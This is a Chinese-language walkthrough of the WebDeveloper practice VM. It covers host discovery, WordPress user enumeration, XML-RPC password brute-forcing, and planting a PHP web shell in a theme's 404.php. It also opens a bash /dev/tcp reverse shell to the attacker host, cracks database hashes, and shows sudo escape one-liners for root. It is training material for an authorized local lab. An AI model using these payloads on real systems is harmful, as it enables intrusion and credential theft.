WebDeveloper靶机全流程复盘：从WordPress弱口令到sudo提权

最近在本地镜像库里把 WebDeveloper 靶机重新打了一遍，这台机器算是入门级渗透测试里非常有代表性的一个。很多朋友在群里问这条攻击链路，要么卡在 WordPress 那一步不知道怎么往下走，要么拿到了 Web Shell 却提不了权，最后只能看别人的通关记录干瞪眼。我这次把这台机器从环境部署、信息收集、CMS 漏洞利用到系统提权完整复盘了一遍，每个关键动作都会解释“为什么这么做”，而不只是丢命令。整个过程不需要复杂的 0day 利用，也没有绕脑的内网横向，靠的就是信息收集的细致程度和常规提权手法的熟练度，非常适合想系统入门 Web 渗透测试的人参照练习。

整台靶机的核心场景是典型的 Web 应用渗透：外部只暴露一个 Web 服务，攻击面全部集中在网站本身，需要先通过指纹识别锁定 CMS 类型，再借助自动化工具进行用户枚举和弱口令爆破，进入后台后利用主题编辑器写入 Web Shell，最后通过数据库中的敏感信息完成系统用户切换和 sudo 提权。这条链路是 Web 渗透最经典也最实用的一条主线，把这台机器吃透，等于把中小企业渗透测试中最常见的一类路径完整走了一遍。

1. 靶机概况与考点拆解：先弄清楚这台机器到底考什么

1.1 这台靶机是什么水准，适合哪些人练

WebDeveloper 的整体难度定位在入门到初级之间。它不像一些综合靶机那样需要域渗透、内网代理或者复杂的二进制漏洞利用，主要考察的是 Web 漏洞利用和 Linux 基础提权。如果你已经掌握了基本的 Linux 命令、了解 HTTP 协议的工作原理，知道什么是 CMS（内容管理系统），但还缺少一次完整的实战串联经验，那这台机器就是为你准备的。

打这台机器需要具备的能力清单大致如下：能在同网段中通过 ARP 扫描发现目标主机，能用 Nmap 进行端口和服务版本识别，能通过 WPScan 这类 CMS 专用扫描器做站点枚举，能识别弱口令并登录后台，能在 WordPress 主题文件中植入 Web Shell，能读懂配置文件中的数据库凭据，最后能利用错误的 sudo 配置实现提权。这些单项技能单独拎出来都不难，但串成一条完整的攻击链时，很多新手就会在这里卡壳。

我个人体感是，这台靶机最核心的价值不是让你学会某个高深漏洞，而是训练渗透测试的基本节奏：先信息收集，再漏洞发现，最后利用与提权。每一步都有明确的产出物，下一步的动作完全依赖上一步的结果。这种依赖关系就是真实渗透测试的缩影，练多了自然就有了“下一步该干什么”的条件反射。

1.2 部署环境与网络配置：VirtualBox 实际操作

这类靶机通常以虚拟机镜像的形式发布，我在复现时用的是 VirtualBox 环境。先把下载好的镜像文件导入 VirtualBox：打开软件后选择“导入”，选中 OVA 或 OVF 格式的文件，确认虚拟机名称和配置后完成导入。

网络这块是很多新手最容易翻车的地方。我的建议是直接把网络模式设置为仅主机（Host-Only）。为什么要这样选？因为 NAT 模式下靶机默认从虚拟网卡获取 IP，你很难直接锁定它的地址，而桥接模式又会让靶机和局域网中其他真实设备放在同一网段，存在误扫到他人设备的风险。仅主机模式将靶机和你的攻击机限制在一个虚拟的隔离网段中，比如常见的192.168.56.0/24，在这个网段里可以放开手脚做各种扫描测试，完全不用担心影响外部网络。

导入完成后，启动靶机观察它的运行状态。这类镜像通常不会有明显的登录界面，黑洞洞的终端背景就算启动成功了。这时在攻击机上执行ip a确认本机 IP，我的环境里攻击机地址是192.168.56.1，靶机一般会通过 DHCP 自动获取一个同网段的地址。如果重启后拿不到 IP，可以在 VirtualBox 的虚拟机设置里检查一下网卡是否启用了“接入网线”选项，这算是最常见的低级错误。

注意：后面的所有操作都假设你已经获得了在本地靶机环境中进行安全测试的授权。靶机仅供学习研究，任何未授权的真实系统测试都是踩红线的行为，这条底线一定要守住。

2. 信息收集阶段：两步锁定靶机 IP，再抓 Web 服务指纹

2.1 主机发现：ARP 扫描比 Ping 更靠谱

启动完靶机后，第一步是确认它的 IP。很多新手一上来就用ping扫网段，这种做法在仅主机模式下不一定有效，因为目标主机可能禁用了 ICMP 回显。更可靠的做法是用 ARP 协议进行发现，同一广播域内只要目标在线，就一定能通过广播请求拿到它的 MAC 地址和 IP 地址。

我最常用的命令是：

netdiscover -r 192.168.56.0/24

或者用 ARP 扫描：

arp-scan --local

执行后输出结果里会列出网段内所有活跃主机的 IP、MAC 地址和厂商信息。本机是192.168.56.1，网关是192.168.56.2，剩下那个陌生 IP 基本就是靶机了。我这边的环境的靶机地址是192.168.56.11，后面所有操作都基于这个地址展开。

拿到 IP 后先做一个快速连通性测试，然后就可以进入正式扫描环节。信息收集阶段最忌讳的就是拿到 IP 就急着上漏洞扫描器，先把目标的基本面貌摸清楚，后面所有步骤的效率都会翻倍。

2.2 端口扫描与 Web 指纹识别

端口扫描选用 Nmap，我习惯先用全端口版本探测跑一轮，别看这台机器只开放了 80 端口，这个习惯能避免漏掉高端口上的特殊服务：

nmap -sS -sV -p- --min-rate 1000 192.168.56.11

扫描结果显示 80 端口开放，运行着 Apache HTTP 服务。没有看到 SSH（22）端口，这意味着攻击路径只有 Web 应用这一条路。很多新手看到这里会有点慌，觉得没有 SSH 就没办法进入系统了，但实际上 Web 渗透的核心思路就是：Web 服务就是你进入系统的第一扇门。

接下来需要识别 Web 服务的具体指纹。先用 curl 查看 HTTP 响应头：

curl -I http://192.168.56.11

响应头里能看到服务器版本信息和页面技术栈特征。然后访问首页，可以注意到页面中有 WordPress 相关的标志，查看页面源代码后，能发现wp-content、wp-includes这样的专有目录路径，基本可以确定这是一个 WordPress 站点。再用浏览器插件 Wappalyzer 或者直接查看页面底部，还能获得 WordPress 的版本号、启用的主题名和插件列表等关键指纹信息。

到这一步，信息收集的产出已经比较清晰了：目标是一台仅开放 Web 端口的 Linux 主机，运行 WordPress 站点。接下来要做的事很明确——对 WordPress 进行深度枚举，尝试找到可利用的入口。

2.3 目录扫描：robots.txt 与敏感文件检查

在正式上 WPScan 之前，我习惯先做一轮目录扫描，目的是发现一些扫描器覆盖不到或者容易被忽略的文件。用的是 Gobuster：

gobuster dir -u http://192.168.56.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak

扫描结果里最常见的几个路径是：robots.txt、readme.html、wp-admin、wp-includes、wp-content。robots.txt里可能会明确指出一些不允许搜索引擎爬取的路径，这些路径往往就是管理员想隐藏的区域，值得特意看一下。readme.html是 WordPress 安装包自带的说明文件，里面会直接显示当前使用的版本号，这种信息泄露虽然不算高危漏洞，但会帮助攻击者更快地匹配已知漏洞。

把所有收集到的信息列在一张表里，后面的利用阶段随时查阅：

3. WordPress 漏洞挖掘与站点接管：从枚举到后台

3.1 WPScan 枚举：用户、插件与主题一把梭

WordPress 是全世界使用率最高的 CMS 之一，也因此有了非常成熟的专用扫描工具，其中最常用的就是 WPScan。它的核心价值在于：能够自动化枚举 WordPress 的版本信息、主题、插件、用户列表，并匹配已知漏洞库。面对目标是一个 WordPress 站点的情况，直接手搓 HTTP 请求的效率太低了，专业工具该用就要用。

我执行的枚举命令是：

wpscan --url http://192.168.56.11 --enumerate u,vp,t --plugins-detection aggressive --disable-tls-check

参数说明：--enumerate u枚举用户，vp枚举有漏洞的插件，t枚举主题；--plugins-detection aggressive采用更彻底的插件探测模式；--disable-tls-check是跳过 TLS 证书校验，很多靶机环境存在自签名证书，不加这个参数会直接报错中断。

扫描结果中最有价值的部分是用户枚举。WPScan 可以通过作者归档页面、登录错误提示等途径列出站点的注册用户名。这台机器上扫到了管理员账号，用户名是admin。别小看这个用户名，它至少给你的密码爆破节省了一半的工作量——不需要再猜测用户名了，直接针对已知用户名进行爆破即可。确认存在用户后我还特意测试了 WordPress 的 XML-RPC 接口是否开放，这个接口在后面爆破时有大用处。

3.2 暴力破解的关键技巧：用 XML-RPC 接口加速

拿到用户名后，接下来就是尝试弱口令。这里我不建议直接用浏览器打开登录页手动尝试，效率太低。用 WPScan 自带的密码爆破功能会方便很多，关键在于选择爆破接口。

WordPress 默认不限制登录接口的尝试次数，但提交一次表单只能尝试一组账号密码，速度有限。而 XML-RPC 接口的system.multicall方法允许在一个 HTTP 请求里包含多个密码尝试，效率直接提升了一个数量级。这也是为什么在爆破前要先确认 XML-RPC 是否开放——它在后台的/xmlrpc.php路径下。

可以用如下命令通过 XML-RPC 接口进行爆破：

wpscan --url http://192.168.56.11 --password-attack xmlrpc -U admin -P /usr/share/wordlists/rockyou.txt --disable-tls-check

这里使用的是经典的rockyou.txt密码字典。如果你的 Kali 上没有这个字典，路径一般在/usr/share/wordlists/rockyou.txt.gz，需要先解压：

gunzip /usr/share/wordlists/rockyou.txt.gz

爆破过程可能持续几分钟，耐心等待即可。我这次运气不错，跑完字典后成功撞到了一个弱密码。管理员账号加弱密码，后台就这样敞开了。用拿到的账号密码直接访问/wp-login.php，成功登录 WordPress 管理控制台。

实操心得：靶机环境下字典可以放心跑，但真实渗透测试中如果遇到 WAF（Web 应用防火墙）或登录频率限制，这种爆破方式很容易触发封禁。正式测试前一定要确认目标系统是否允许此类操作，或者提前做好限速配置。

3.3 主题编辑器植入 Web Shell

有了 WordPress 后台管理员权限，接下来的思路就直接清晰了：想办法在服务器上执行命令。WordPress 后台自带“主题编辑器”功能，允许编辑主题文件中的 PHP 代码。利用这个功能往主题的 PHP 文件里插入一段恶意代码，就能实现远程命令执行，这个文件本质上就是一个 Web Shell。

我的操作路径是：控制台 → 外观 → 主题编辑 → 选择当前启用的主题 → 找到404.php文件。为什么选404.php？因为它存在于几乎所有 WordPress 主题中，而且这个文件在正常情况下不会被页面访问到，产生访问日志的概率相对较低，更隐蔽。

在文件末尾追加这样一段代码：

<?php if (isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?>

保存文件后，直接在浏览器中访问：

http://192.168.56.11/wp-content/themes/当前主题名/404.php?cmd=id

页面会返回当前 Web 服务运行账户的信息。看到www-data这个用户时，说明代码已经成功执行，你已经从普通的 Web 访问者变成了可以执行系统命令的攻击者。到这一步，信息收集和漏洞利用的链条算是完成了打通了一半，后续要做的就是把这个命令执行权限扩展为稳定的交互式 Shell，并继续向系统权限发起冲击。

4. 权限提升：从 Web Shell 到系统 Root

4.1 反弹 Shell 与交互终端优化

Web Shell 虽然能执行命令，但用起来很别扭：每次都要在 URL 里构造请求、URL 编码，而且没法处理交互式命令（比如数据库登录、sudo 密码输入）。所以要做的第一件事是反弹一个完整的 Shell 回攻击机。

在攻击机上先开启监听：

nc -lvnp 4444

然后在 Web Shell 里执行下面的反弹命令：

bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'

需要注意，通过 URL 传递这段命令时，空格和特殊符号都必须做 URL 编码，否则服务器端解析会出错。完整的请求地址类似：

http://192.168.56.11/wp-content/themes/当前主题名/404.php?cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.56.1%2F4444+0%3E%261%27

提交后回到监听窗口，如果看到connect to [192.168.56.1]的回显，说明反弹成功。不过这个 Shell 是完全非交互式的，表现在：没有提示符、无法用 Tab 补全、不能用方向键查看历史命令，最关键的是无法正常执行su、sudo这类需要输入密码的交互命令。

解决方法是立刻升级为 PTY 终端。在已经获得的 Shell 里执行：

python3 -c 'import pty; pty.spawn("/bin/bash")'

然后按Ctrl+Z让这个会话转到后台，在攻击机本地执行stty raw -echo; fg把它重新拉回前台。这一套操作下来，你就得到了一个带完整终端能力的交互式 Shell，后面输入密码、操作数据库都会顺畅很多。

避坑提示：如果目标环境里没有 Python 3，可以尝试python -c或script -qc /bin/bash /dev/null，不同系统可用的方式不同，多试几个总有一个适合当前环境。

4.2 从 wp-config.php 到数据库凭据

拿到稳定的 Shell 后，第一步就是逛网站根目录，找 WordPress 的配置文件。WordPress 的数据库连接信息都存在根目录的wp-config.php文件里，这个文件几乎是所有 WordPress 渗透测试的必经之路。

进入/var/www/html目录后读取配置文件：

cd /var/www/html cat wp-config.php

重点关注这几行：

define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpressuser'); define('DB_PASSWORD', '数据库密码'); define('DB_HOST', 'localhost');

数据库名称、用户名和密码都有了。直接连接本地 MySQL/MariaDB 服务：

mysql -u wordpressuser -p'数据库密码' wordpress

进入数据库后，查看用户表中的账号和密码哈希：

select user_login, user_pass from wp_users;

这里往往会有惊喜：管理员图省事把同一个密码用在多处，而这个数据库中存储的密码哈希可能对应某个系统本地用户的登录密码。拿到哈希后保存到本地文件，用 John the Ripper 尝试破解：

john --format=phpass hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

如果哈希恰好来自弱密码，很快就能解出明文。这里还可能会看到数据库中不止一个用户，其中名字看起来很像系统用户的账号尤其值得注意。用破解出的密码尝试su切换到这个用户：

su 该用户名

输入密码后whoami确认自己的身份。如果成功，说明已经从www-data（Web 服务低权限用户）升级到了普通系统用户，离 Root 又近了一步。

4.3 sudo 配置错配：寻找提权突破口

获得普通用户权限后，第一时间检查当前用户是否配置了特殊的 sudo 权限：

sudo -l

sudo 会提示输入当前用户密码，就是刚才破解出的那个。执行结果往往能显示出一条类似这样的记录：当前用户可以在无需密码的情况下以 root 身份执行某个特定程序。

这正是典型的 sudo 配置错误。管理员的本意可能是想给这个用户提供一个日常管理工具，但没意识到这个工具本身提供了逃逸到完整 Shell 的可能。这时候打开 GTFOBins 网站，查一下这个可执行程序的 sudo 提权方法。比如你看到的是：

• 如果是/usr/bin/php：执行sudo php -r 'system("/bin/bash");'就能直接拿到 root Shell。
• 如果是/usr/bin/less或/usr/bin/more：执行sudo less /etc/passwd然后在内部输入!/bin/bash，同样能以 root 身份拉起 Shell。
• 如果是/usr/bin/find：执行sudo find / -exec /bin/bash \;提权。

我这次碰到的就是典型的 NOPASSWD 配置，执行对应命令后终端提示符从$变成了#，说明已经是 root 身份。

最后直奔 Root 家目录找证明文件：

whoami cat /root/flag.txt

到这里，整台机器的攻击链彻底打通。把完整路径梳理一下：ARP 发现目标 → Nmap 锁定 80 端口 → WPScan 枚举用户 → XML-RPC 接口弱口令爆破 → 后台登录 → 主题编辑器写 Web Shell → 反弹 Shell → 读取数据库配置与密码哈希 → 切换用户 → sudo 配置错误提权 → Root Flag。每一步都有清晰的产出，上一步的结果直接决定下一步的动作，这就是一条标准的 Web 渗透攻击链。

5. 常见问题与排查技巧实录：新手最容易踩的五个坑

5.1 扫描不到靶机 IP 怎么办

这是部署阶段最常见的问题。netdiscover跑完只有攻击机和网关，没有目标主机。排查思路如下：先确认 VirtualBox 的“仅主机网络”是否正确配置，并确认虚拟机设置里网卡已启用；再确认靶机是否成功启动，黑屏终端不一定代表系统已经跑完启动流程，可以等一两分钟再扫一次；最后确认攻击机和靶机是否真的在同一网段。还可以在靶机所在虚拟机里登录进去执行ip a查看自身 IP，不过这类靶机通常不显示登录界面，所以更多还是从虚拟网络配置入手排查。

另外一个小技巧：直接用 VirtualBox 的虚拟网络管理器创建一个新的仅主机网络，把攻击机和靶机的网卡都挂到同一个网络上，这样能避免旧配置导致的网段不一致问题。

5.2 WPScan 枚举报错或爆破无结果

WPScan 报 TLS 错误是最常见的，直接在命令后面加--disable-tls-check即可。爆破不出密码时，先确认 XML-RPC 接口是否真正开放，可以通过浏览器访问/xmlrpc.php看是否能正常返回 XML 响应；如果接口被禁用，改用--password-attack wp-login参数走登录页爆破，速度慢一些但同样有效。也要检查一下字典是否解压成功，路径是否正确，有时候路径写错了它会默认用极小的内置字典，自然跑不出结果。

5.3 反弹 Shell 连不上或者连上就断开

反弹 Shell 失败大多不是命令本身的问题，而是 URL 编码没做对。空格、引号、重定向符号在 URL 中都会被特殊处理，建议先在本地用 Python 的urllib.parse.quote对命令做一次编码，再把编码结果放到cmd参数里。连上就断开的情况通常是因为目标环境没有nc的-e选项，或者反弹命令被目标系统限制了，改用bash -i >& /dev/tcp/ip/端口 0>&1这种不依赖额外工具的方式更稳妥。还有一点是攻击机的防火墙，记得关掉或放行对应端口，这个细节很容易被忽视。

5.4 数据库密码拿到却切不了用户

拿到了wp-config.php里的数据库密码，但用su切换系统用户失败。这是因为数据库密码和系统登录密码是两个概念，这个密码通常只用于连接数据库。正确的思路是把wp_users表里的密码哈希破解出明文，再用这个明文去尝试系统用户登录。很多管理员习惯复用密码，测试这个密码能否用于本地用户登录才是真正有价值的尝试。

5.5 提权命令执行后没有反应

sudo -l显示某个命令可以免密执行，但执行提权语句后没有拿到 root。检查两个点：一是确认你的操作完全符合 GTFOBins 上该命令的 sudo 提权标准写法，不同版本对参数的要求不一样；二是确认当前确实处于该用户的上下文，而不是还在www-data身份下。如果前面某一步没做对，及时回头检查whoami的输出。提权失败的原因往往不是理论不对，而是流程中某个身份切换没完成。

最后再分享一点个人的真实感受。我在第一次接触这类靶机时也卡了整整一个晚上，问题不是出在没有工具，而是出在“不知道该关注哪些信息”。打靶机最大的价值就在于它帮你建立一种判断力：知道什么信息值得记录、什么信息能串联到下一步。建议你在复现这台机器时，先别急着看通关文档，给自己留出足够的时间去试错，把每条命令的输出都认真读一遍。踩过坑之后再回头看整个流程，你会真正理解每一次扫描、每一次枚举背后的意义，这种理解是任何现成的通关记录都给不了你的。